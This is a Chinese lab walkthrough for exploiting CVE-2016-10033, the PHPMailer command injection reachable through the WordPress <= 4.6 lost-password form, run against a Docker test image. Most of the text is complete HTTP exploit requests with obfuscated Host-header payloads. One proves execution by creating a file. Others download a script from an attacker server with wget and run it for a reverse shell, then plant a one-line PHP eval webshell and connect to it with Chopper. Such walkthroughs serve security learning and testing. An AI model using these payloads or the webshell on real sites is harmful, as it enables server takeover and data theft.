WordPress小于等于4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)实验

WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)实验

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此漏洞利用的是HTTP头部注入，参考资料：http://www.freebuf.com/articles/web/164817.html

首先祭出实验来源：http://vulapps.evalbug.com/w_wordpress_6/

实验环境需要docker来挂载，docker安装教程：https://blog.csdn.net/levones/article/details/80474994

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WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统（CMS）来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，造成远程命令执行的危害。

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拉取镜像到本地计算机（ubuntu16.04）

docker pull medicean/vulapps:w_wordpress_6

启动实验环境

docker run -d -p 8000:80 medicean/vulapps:w_wordpress_6

如果上述步骤没有出现错误的话访问ip:port可以看到如下界面：

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POC

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any [e-mail] -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}test}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

将此poc通过burp suite进行重放，IP和端口自行设定。重放前访问http://ip:port/test时返回404

重放后再次访问会返回200ok，此时说明POC中执行的命令:

/bin/touch /var/www/html/test

执行成功，由此验证了此版本的WordPress存在命令执行漏洞。

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EXP 利用漏洞

思路一：直接进行命令执行反弹shell

通过wget下载bash脚本然后执行

注意事项：

1. 远程 URL 中不要有 http://
2. 所有字母必须小写
3. 所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
4. 所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

下载：

/usr/bin/wget --output-document /tmp/rce your_server_ip/example.txt

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any [e-mail] -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce your_server_ip${substr{0}{1}{$spool_directory}}example.txt}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

执行：

/bin/bash /tmp/rce

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any [e-mail] -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

思路二：写入webshell再用菜刀连接

/usr/bin/wget --output-document /var/www/html/webshell.php raw.githubusercontent.com/medicean/vulapps/master/w/wordpress/6/webshell.php

注意事项：

1. 远程 URL 中不要有 http://
2. 所有字母必须小写
3. 所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
4. 所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

重放包：

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any [e-mail] -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}webshell.php${substr{10}{1}{$tod_log}}raw.githubusercontent.com${substr{0}{1}{$spool_directory}}medicean${substr{0}{1}{$spool_directory}}vulapps${substr{0}{1}{$spool_directory}}master${substr{0}{1}{$spool_directory}}w${substr{0}{1}{$spool_directory}}wordpress${substr{0}{1}{$spool_directory}}6${substr{0}{1}{$spool_directory}}webshell.php}} null)
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

wp-submit=Get+New+Password&redirect_to=&user_login=admin

重放此数据包后网站根目录下多了一个webshell.php

<?php @eval($_POST['ant']);?>

此时可以用菜刀连接发现连接成功。